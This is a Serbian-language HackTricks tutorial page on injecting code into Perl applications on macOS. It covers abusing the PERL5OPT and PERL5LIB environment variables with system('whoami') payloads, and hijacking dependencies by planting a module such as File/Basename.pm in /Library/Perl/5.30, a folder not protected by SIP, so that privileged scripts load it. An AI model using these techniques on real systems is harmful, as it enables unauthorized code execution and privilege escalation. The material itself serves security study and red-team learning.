macOS Perl Applications Injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Putem PERL5OPT & PERL5LIB env promenljive

Korišćenjem env promenljive PERL5OPT moguće je naterati perl da izvrši proizvoljne komande. Na primer, kreirajte ovaj skript:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Sada izvezite env promenljivu i izvršite perl skriptu:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Druga opcija je da se kreira Perl modul (npr. /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

Zatim koristite env promenljive:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Preko zavisnosti

Moguće je izlistati redosled foldera zavisnosti Perl-a koji se izvršava:

perl -e 'print join("\n", @INC)'

Koji će vratiti nešto slično:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Neke od vraćenih mapa čak ne postoje, međutim, /Library/Perl/5.30 postoji, nije zaštićen od strane SIP i nalazi se ispred mapa zaštićenih SIP-om. Stoga, neko bi mogao zloupotrebiti tu mapu da bi dodao zavisnosti skripta tamo kako bi visoko privilegovani Perl skript učitao te zavisnosti.

Međutim, imajte na umu da morate biti root da biste pisali u tu mapu i danas ćete dobiti ovaj TCC prozor:

Na primer, ako skript uvozi use File::Basename; bilo bi moguće kreirati /Library/Perl/5.30/File/Basename.pm da bi se izvršio proizvoljni kod.

Reference

Last updated